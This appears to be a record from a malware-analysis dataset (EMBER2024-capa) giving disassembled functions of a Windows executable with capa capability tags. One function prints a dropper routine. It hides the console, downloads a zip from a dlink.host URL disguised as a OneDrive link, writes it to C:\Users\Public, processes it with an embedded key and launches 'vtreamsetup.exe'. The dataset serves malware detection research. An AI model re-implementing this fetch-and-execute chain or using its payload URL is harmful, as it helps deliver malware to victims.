joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003320
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rdi, rcx
cmp qword [rcx + 0x80], 0
je 0x140003559
cmp byte [rcx + 0x89], 0
je 0x140003559
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14000352d
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rdx
mov byte [rbp - 0x28], 0
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], 8
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
xor r12d, r12d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
nop word [rax + rax]
lea rdx, [rbp - 0x28]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x28]
cmovae r8, r10
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x8c]
call qword [r10 + Ordinal_50]
test eax, eax
je 0x1400033f8
dec eax
jne 0x1400034f7
jmp 0x1400033ff
mov byte [rdi + 0x89], r12b
lea rax, [rbp - 0x28]
mov r10, qword [rbp - 0x28]
mov r9, qword [rbp - 0x10]
cmp r9, 0x10
cmovae rax, r10
mov rbx, qword [rbp + 0x20]
sub rbx, rax
je 0x14000344d
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x98]
mov r8, rbx
mov edx, 1
call fcn.140047310
cmp rbx, rax
jne 0x14000351d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
cmp byte [rdi + 0x89], r12b
je 0x14000354b
test rbx, rbx
jne 0x1400033b0
or rax, 0xffffffffffffffff
mov r8, qword [rbp - 0x18]
sub rax, r8
cmp rax, 8
jbe 0x14000353e
lea rbx, [r8 + 8]
cmp rbx, 0xfffffffffffffffe
ja 0x140003531
cmp r9, rbx
jae 0x1400034a1
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.140001240
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
jmp 0x1400034be
test rbx, rbx
jne 0x1400034c7
mov qword [rbp - 0x18], r12
lea rax, [rbp - 0x28]
cmp r9, 0x10
cmovae rax, r10
mov byte [rax], r12b
jmp 0x14000339b
test rbx, rbx
je 0x1400033b0
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov rax, qword [rbp - 0x18]
xor edx, edx
mov qword [rcx + rax], rdx
mov qword [rbp - 0x18], rbx
lea rax, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rax, qword [rbp - 0x28]
mov byte [rax + rbx], dl
jmp 0x14000339b
sub eax, 2
je 0x140003510
cmp qword [rbp - 0x10], 0x10
jb 0x14000352d
mov rcx, qword [rbp - 0x28]
call fcn.140046e30
xor al, al
jmp 0x14000355b
cmp qword [rbp - 0x10], 0x10
jb 0x140003559
mov rcx, qword [rbp - 0x28]
jmp 0x140003554
cmp qword [rbp - 0x10], 0x10
jb 0x14000352d
mov rcx, qword [rbp - 0x28]
call fcn.140046e30
xor al, al
jmp 0x14000355b
lea rcx, str.string_too_long
call fcn.140008d2c
int3
lea rcx, str.string_too_long
call fcn.140008d2c
nop
cmp r9, 0x10
jb 0x140003559
mov rcx, r10
call fcn.140046e30
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x140003b90
Capabilities:
Create http request
Create process on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x38]
sub rsp, 0x130
mov qword [rbp - 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov edi, ecx
call qword [sym.imp.KERNEL32.dll_FreeConsole]
cmp edi, 1
jg 0x140003d8e
mov rax, qword [str.http:__www.HNxMYEnqcZtg3W2rexkcs3NxE9.com__]
mov qword [rbp - 0x80], rax
mov rax, qword [0x140062c88]
mov qword [rbp - 0x78], rax
mov rax, qword [0x140062c90]
mov qword [rbp - 0x70], rax
mov rax, qword [0x140062c98]
mov qword [rbp - 0x68], rax
mov rax, qword [0x140062ca0]
mov qword [rbp - 0x60], rax
mov eax, dword [0x140062ca8]
mov dword [rbp - 0x58], eax
xor esi, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 1]
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x84000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
jne 0x140003d7c
lea rcx, [rbp - 0x40]
call fcn.140001380
nop
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x68], rsi
mov byte [rsp + 0x58], dil
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, str.C:UsersPublicFn3kpiVvpLA8Pst4ySmvG3wizb.dat
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, str.C:UsersPublicFn3kpiVvpLA8Pst4ySmvG3wizb.dat
lea rcx, [rsp + 0x58]
call fcn.1400015e0
nop
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x40], rsi
mov byte [rsp + 0x30], sil
lea r8d, [rsi + 0x68]
lea rdx, str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnamZMRWVKMGVqc2d4S0JIP2U9Nk5ET3F5.zip
lea rcx, [rsp + 0x30]
call fcn.1400015e0
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x40]
call fcn.140001860
nop
cmp qword [rsp + 0x48], 0x10
jb 0x140003cde
mov rcx, qword [rsp + 0x30]
call fcn.140046e30
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x40], rsi
mov byte [rsp + 0x30], 0
cmp qword [rsp + 0x70], 0x10
jb 0x140003d03
mov rcx, qword [rsp + 0x58]
call fcn.140046e30
lea rcx, [rbp - 0x40]
call fcn.140001080
lea r8, str.sklnsdhbs98r734imnok089
lea rdx, str.C:UsersPublicC6PkXaqjsaC4pf66Zn8YbjnZq8dl.dat
lea rcx, str.C:UsersPublicFn3kpiVvpLA8Pst4ySmvG3wizb.dat
call fcn.140001b80
lea rdx, str.C:UsersPublicC6PkXaqjsaC4pf66Zn8YbjnZq8dl.dat
lea rcx, str.C:UsersPublic_
call fcn.140001aa0
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea r9, [0x140062998]
lea r8, str.C:UsersPublic_stdio_vtreamsetup.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rbp - 0x40]
call fcn.140001460
jmp 0x140003d8e
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140004d10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 8
mov r11d, r8d
mov r10, rdx
mov r9d, ecx
test rdx, rdx
jne 0x140004d29
xor eax, eax
add rsp, 8
ret
mov qword [rsp], rdi
not r9d
lea rdi, [0x140064190]
cmp r11d, 8
jb 0x140004e21
mov qword [rsp + 0x10], rbx
mov rbx, r11
shr rbx, 3
nop dword [rax]
movzx ecx, byte [r10]
mov eax, r9d
shr r9d, 8
xor rcx, rax
add r10, 8
add r11d, 0xfffffff8
movzx eax, cl
movzx ecx, byte [r10 - 7]
mov edx, dword [rdi + rax*4]
xor edx, r9d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 6]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 5]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 4]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 3]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 2]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 1]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov r9d, dword [rdi + rax*4]
xor r9d, edx
dec rbx
jne 0x140004d50
mov rbx, qword [rsp + 0x10]
test r11d, r11d
je 0x140004e4f
nop word [rax + rax]
movzx ecx, byte [r10]
mov eax, r9d
inc r10
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
dec r11d
jne 0x140004e30
mov rdi, qword [rsp]
not r9d
mov eax, r9d
add rsp, 8
ret

Function at 0x140004e60
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov r9d, dword [rcx + 8]
mov r10, rcx
movzx r11d, dl
mov edx, dword [rcx]
mov r8d, r9d
and r8d, 0xfffd
mov ecx, edx
shr edx, 8
or r8d, 2
mov eax, r8d
xor eax, 1
imul eax, r8d
lea r8, [0x140064190]
shr eax, 8
xor r11b, al
movsx rax, r11b
xor rcx, rax
movzx eax, cl
mov ecx, dword [r8 + rax*4]
xor ecx, edx
movzx eax, cl
mov dword [r10], ecx
movzx ecx, r9b
add eax, dword [r10 + 4]
shr r9d, 8
imul eax, eax, 0x8088405
inc eax
mov dword [r10 + 4], eax
movzx eax, byte [r10 + 7]
xor rcx, rax
mov eax, dword [r8 + rcx*4]
xor eax, r9d
mov dword [r10 + 8], eax
movzx eax, r11b
ret
Function at 0x140005360
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rsi, r8
mov rdi, r9
mov rbp, rdx
mov r10, rcx
imul esi, edx
cmp byte [r9], 0
je 0x1400053b0
mov rdx, rcx
mov rcx, qword [rdi + 8]
lea r9, [rsp + 0x48]
mov r8d, esi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400053aa
mov byte [rdi + 0x10], 1
mov eax, dword [rsp + 0x48]
jmp 0x1400053e1
mov edx, dword [r9 + 0x2c]
mov ecx, dword [r9 + 0x28]
mov qword [rsp + 0x40], rbx
lea eax, [rdx + rsi]
cmp eax, ecx
jbe 0x1400053c8
sub ecx, edx
mov esi, ecx
add rdx, qword [r9 + 0x20]
mov r8d, esi
mov rcx, r10
call fcn.140046e50
add dword [rdi + 0x2c], esi
mov rbx, qword [rsp + 0x40]
mov eax, esi
mov rsi, qword [rsp + 0x58]
xor edx, edx
div rbp
mov rbp, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140005400
Capabilities:
Read file on windows

Disassembly:
push rbx
push r12
sub rsp, 0x38
cmp byte [rcx], 0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x30], rdi
mov edi, 1
mov r12, rdx
mov rbx, rcx
je 0x140005450
mov rcx, qword [rcx + 8]
lea r9, [rsp + 0x60]
lea rdx, [rsp + 0x50]
mov r8d, edi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000544a
mov byte [rbx + 0x10], dil
mov esi, dword [rsp + 0x60]
jmp 0x14000548a
mov qword [rsp + 0x58], rbp
mov ebp, dword [rcx + 0x2c]
mov ecx, dword [rcx + 0x28]
lea eax, [rbp + 1]
cmp eax, ecx
jbe 0x140005466
mov edi, ecx
sub edi, ebp
mov rdx, rbp
lea rcx, [rsp + 0x50]
mov r8d, edi
add rdx, qword [rbx + 0x20]
mov esi, edi
call fcn.140046e50
lea r11d, [rbp + rdi]
mov rbp, qword [rsp + 0x58]
mov dword [rbx + 0x2c], r11d
mov rdi, qword [rsp + 0x30]
cmp esi, 1
mov rsi, qword [rsp + 0x68]
jne 0x1400054ac
movzx eax, byte [rsp + 0x50]
mov dword [r12], eax
xor eax, eax
add rsp, 0x38
pop r12
pop rbx
ret
cmp byte [rbx], 0
je 0x1400054a2
cmp byte [rbx + 0x10], 0
je 0x1400054a2
or eax, 0xffffffff
add rsp, 0x38
pop r12
pop rbx
ret
Function at 0x140006890
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x240
mov rbx, rdx
mov rdi, rcx
test rcx, rcx
je 0x1400068be
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400068be
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movzx eax, byte [rbx]
test al, al
je 0x14000698c
mov qword [rsp + 0x250], rsi
mov rcx, rbx
mov rsi, rbx
cmp al, 0x2f
je 0x1400068df
cmp al, 0x5c
jne 0x1400068e2
mov rsi, rcx
movzx eax, byte [rcx + 1]
inc rcx
test al, al
jne 0x1400068d7
cmp rsi, rbx
je 0x140006920
sub rsi, rbx
lea rcx, [rsp + 0x130]
mov rdx, rbx
mov r8, rsi
call fcn.140046e50
lea rdx, [rsp + 0x130]
mov rcx, rdi
mov byte [rsp + rsi + 0x130], 0
call fcn.140006890
mov rsi, qword [rsp + 0x250]
mov byte [rsp + 0x20], 0
test rdi, rdi
je 0x14000694e
lea rcx, [rsp + 0x20]
sub rcx, rdi
nop word [rax + rax]
movzx eax, byte [rdi]
inc rdi
mov byte [rcx + rdi - 1], al
test al, al
jne 0x140006940
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140006960
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000698c
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rbx, qword [rsp + 0x258]
add rsp, 0x240
pop rdi
ret
Function at 0x140008150
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rdx
mov rdi, rcx
test rcx, rcx
jne 0x14000816e
mov eax, 0xffffff9a
add rsp, 0x28
pop rdi
pop rsi
ret
cmp dword [rcx + 0x1c], 0
je 0x140008162
cmp qword [rcx + 0x80], 0
je 0x140008183
call fcn.1400060a0
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.140005dd0
test eax, eax
je 0x1400081aa
mov eax, 0xffffff99
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 0xb0
mov qword [rsp + 0x48], rbx
call fcn.140049860
mov rbx, rax
test rax, rax
jne 0x1400081d0
lea eax, [rbx - 0x68]
mov rbx, qword [rsp + 0x48]
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 0x4000
mov qword [rsp + 0x20], rbp
call fcn.140049860
mov ecx, dword [rsp + 0x40]
xor ebp, ebp
mov dword [rbx + 0x68], ecx
mov ecx, dword [rsp + 0x50]
mov qword [rbx], rax
mov dword [rbx + 0x70], ebp
mov dword [rbx + 0x6c], ecx
test rax, rax
jne 0x140008216
mov rcx, rbx
call fcn.14004826c
mov rbx, qword [rsp + 0x48]
lea eax, [rbp - 0x68]
mov rbp, qword [rsp + 0x20]
add rsp, 0x28
pop rdi
pop rsi
ret
mov dword [rbx + 0x64], ebp
mov eax, dword [rdi + 0x40]
mov ecx, ebp
cmp dword [rdi + 0x38], ecx
mov dword [rbx + 0x78], eax
mov dword [rbx + 0x74], ebp
mov eax, dword [rdi + 0x38]
sete cl
mov dword [rbx + 0x90], eax
mov rax, qword [rdi]
mov qword [rbx + 0x88], rax
mov eax, dword [rdi + 0x10]
mov dword [rbx + 0x24], ebp
mov dword [rbx + 0x94], eax
test ecx, ecx
jne 0x14000826d
lea rcx, [rbx + 8]
mov qword [rbx + 0x38], rbp
mov qword [rbx + 0x40], rbp
mov qword [rbx + 0x48], rbp
call fcn.140005120
test eax, eax
jne 0x14000826d
mov dword [rbx + 0x64], 1
mov eax, dword [rdi + 0x44]
mov dword [rbx + 0x7c], eax
mov eax, dword [rdi + 0x48]
mov dword [rbx + 0x80], eax
movzx eax, byte [rdi + 0x34]
and al, 1
mov byte [rbx + 0x98], al
mov eax, dword [rdi + 0x34]
shr eax, 3
test al, 1
je 0x140008298
movzx eax, byte [rdi + 0x3d]
jmp 0x14000829c
movzx eax, byte [rdi + 0x43]
mov byte [rbx + 0xac], al
movzx eax, byte [rbx + 0x98]
mov dword [rbx + 0x9c], 0x12345678
neg al
mov dword [rbx + 0xa0], 0x23456789
mov dword [rbx + 0xa4], 0x34567890
sbb ecx, ecx
and ecx, 0xc
mov dword [rbx + 0xa8], ecx
test rsi, rsi
je 0x140008342
lea r8, [0x140064190]
movzx eax, byte [rsi]
test al, al
je 0x140008342
mov edx, dword [rbx + 0x9c]
mov ecx, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov ecx, dword [r8 + rax*4]
xor ecx, edx
mov edx, dword [rbx + 0xa4]
movzx eax, cl
mov dword [rbx + 0x9c], ecx
movzx ecx, dl
add eax, dword [rbx + 0xa0]
shr edx, 8
imul eax, eax, 0x8088405
inc eax
mov dword [rbx + 0xa0], eax
movzx eax, byte [rbx + 0xa3]
xor rcx, rax
mov eax, dword [r8 + rcx*4]
xor eax, edx
inc rsi
mov dword [rbx + 0xa4], eax
jne 0x1400082e0
mov ecx, dword [rdi + 0x7c]
mov eax, dword [rsp + 0x58]
mov dword [rbx + 0x10], ebp
mov rbp, qword [rsp + 0x20]
lea ecx, [rcx + rax + 0x1e]
xor eax, eax
mov dword [rbx + 0x60], ecx
mov qword [rdi + 0x80], rbx
mov rbx, qword [rsp + 0x48]
add rsp, 0x28
pop rdi
pop rsi
ret
Function at 0x140008660
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r13
sub rsp, 0x20
cmp qword [rcx], 0
mov esi, r9d
mov r13d, r8d
mov rbp, rdx
mov rbx, rcx
jne 0x14000876f
cmp dword [rcx + 8], 0xffffffff
jne 0x14000876f
lea rdx, [rcx + 0x150]
mov ecx, 0x104
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbx + 0x150]
repne scasb al, byte [rdi]
not rcx
movzx eax, byte [rcx + rbx + 0x14e]
cmp al, 0x5c
je 0x1400086e5
cmp al, 0x2f
je 0x1400086e5
xor eax, eax
lea rdi, [rbx + 0x150]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x1400646f4]
mov word [rdi - 1], ax
mov r12, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x48]
cmp esi, 1
jne 0x14000871d
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x14000871d
mov eax, 0x2000000
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r13
pop rsi
pop rbp
ret
lea r9, [rsp + 0x40]
mov r8d, esi
mov edx, r13d
mov rcx, rbp
call fcn.140005200
test rax, rax
jne 0x140008747
mov eax, dword [rsp + 0x40]
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r13
pop rsi
pop rbp
ret
mov rcx, rax
call fcn.140007e20
xor ecx, ecx
mov edx, 0x200
test rax, rax
mov qword [rbx], rax
cmove ecx, edx
mov eax, ecx
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r13
pop rsi
pop rbp
ret
mov eax, 0x1000000
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r13
pop rsi
pop rbp
ret
Function at 0x140009ab0
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x14007cfb8]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140009b11
movzx eax, word [rsp + 0x20]
cmp al, 2
jne 0x140009b0b
shr ax, 8
cmp al, 2
jne 0x140009b0b
call fcn.140009f60
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.14004cef0
add rsp, 0x1d8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.14004cef0
add rsp, 0x1d8
ret
Function at 0x14000bf50
Capabilities:
Generate random numbers via winapi

Disassembly:
mov rcx, rdx
mov rdx, r8
jmp 0x140020270
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rbx, rdx
lea rcx, [rsp + 0x50]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x20], 0xf0000040
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1400202cc
mov rcx, qword [rsp + 0x50]
mov r8, rdi
mov edx, ebx
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x50]
xor edx, edx
test eax, eax
jne 0x1400202dc
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x14000bfb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp dword [rcx + 4], 2
mov rax, rdx
je 0x14000bfbc
xor eax, eax
ret
mov rdx, qword [rcx + 0x20]
mov r9, r8
mov r8, rax
add rdx, 4
mov ecx, 2
jmp fcn.140022210
Function at 0x140016f10
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x140016f4b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, Ordinal_60
mov edx, 0x51
cmp eax, 0x2733
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x1400170d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov r10, qword [rcx + 0x268]
mov rdi, r9
mov rsi, r8
mov rbx, rcx
test r10, r10
je 0x140017113
mov rax, qword [rcx + 0x1b8]
mov qword [rsp + 0x20], rax
call r10
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
test edx, edx
js 0x14001715a
cmp edx, 2
jg 0x14001715a
mov r9, qword [rbx + 0x1b0]
movsxd rax, edx
mov edx, 2
lea rcx, [rax + rax*2]
lea rax, [0x140065d48]
lea r8d, [rdx - 1]
add rcx, rax
call fcn.140047310
mov r9, qword [rbx + 0x1b0]
mov r8d, 1
mov rdx, rdi
mov rcx, rsi
call fcn.140047310
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x1400177e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
movsxd rcx, edx
mov rax, qword [rbx + 0x5e0]
mov rbp, qword [rbx + rcx*8 + 0x210]
mov rdi, rcx
shl rdi, 5
mov rsi, qword [rdi + rbx + 0x260]
sub rsi, qword [rdi + rbx + 0x268]
test byte [rax + 0x74], 3
je 0x1400178f7
lea rax, [0x140017530]
cmp qword [rbx + rcx*8 + 0x238], rax
jne 0x1400178f7
cmp qword [rdi + rbx + 0x258], 0
je 0x140017853
test rsi, rsi
je 0x1400178f7
or r8, 0xffffffffffffffff
xor r9d, r9d
mov rcx, rbp
or rdx, r8
call fcn.14000a300
cmp eax, 0xffffffff
je 0x1400178f7
test al, 1
je 0x1400178f7
cmp qword [rdi + rbx + 0x258], 0
jne 0x1400178c9
mov ecx, 0x8000
mov qword [rdi + rbx + 0x260], 0x8000
call qword [fcn.140049860]
mov rsi, qword [rdi + rbx + 0x260]
xor ecx, ecx
mov qword [rdi + rbx + 0x268], rcx
mov qword [rdi + rbx + 0x270], rcx
mov qword [rdi + rbx + 0x258], rax
test rax, rax
jne 0x1400178c9
mov qword [rdi + rbx + 0x260], rcx
jmp 0x1400178f7
mov rdx, qword [rdi + rbx + 0x258]
xor r9d, r9d
mov r8d, esi
add rdx, qword [rdi + rbx + 0x268]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
test eax, eax
jle 0x1400178f7
add qword [rdi + rbx + 0x268], rcx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140017910
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
movsxd rax, edx
mov rdi, r9
mov rsi, r8
mov rbx, qword [rcx + rax*8 + 0x210]
mov rbp, rcx
call fcn.1400177e0
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
movsxd rdi, eax
mov dword [rsi], 0
cmp rdi, 0xffffffffffffffff
jne 0x1400179aa
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp eax, 0x2733
jne 0x14001797c
mov dword [rsi], 0x51
xor eax, eax
jmp 0x1400179ad
mov edx, eax
mov rcx, rbp
call fcn.14001dbe0
mov rcx, qword [rbp]
lea rdx, str.Send_failure:__s
mov r8, rax
call fcn.140017340
mov r11, qword [rbp]
mov dword [r11 + 0x4a8c], ebx
mov dword [rsi], Ordinal_60
mov rax, rdi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140019d50
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14007cfb8]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor esi, esi
mov rdi, rdx
mov rbx, rcx
mov eax, esi
lea r9, [rsp + 0x50]
lea r8d, [rsi + 8]
cmp dword [rcx + 0x80c], eax
mov edx, 0xffff
mov rcx, rdi
setne al
mov dword [rsp + 0x20], 4
mov dword [rsp + 0x50], eax
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x140019dbf
lea rdx, str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
mov r8, rdi
mov rcx, rbx
call fcn.140017290
jmp 0x140019e4e
mov ecx, dword [rbx + 0x810]
mov dword [rsp + 0x58], 1
call fcn.14001b840
mov ecx, dword [rbx + 0x814]
imul eax, eax, 0x3e8
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x5c], eax
call fcn.14001b840
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
lea r8, [rsp + 0x58]
mov r9d, ntohs
mov edx, 0x98000004
imul eax, eax, 0x3e8
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x60], eax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x30], rax
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x140019e4e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
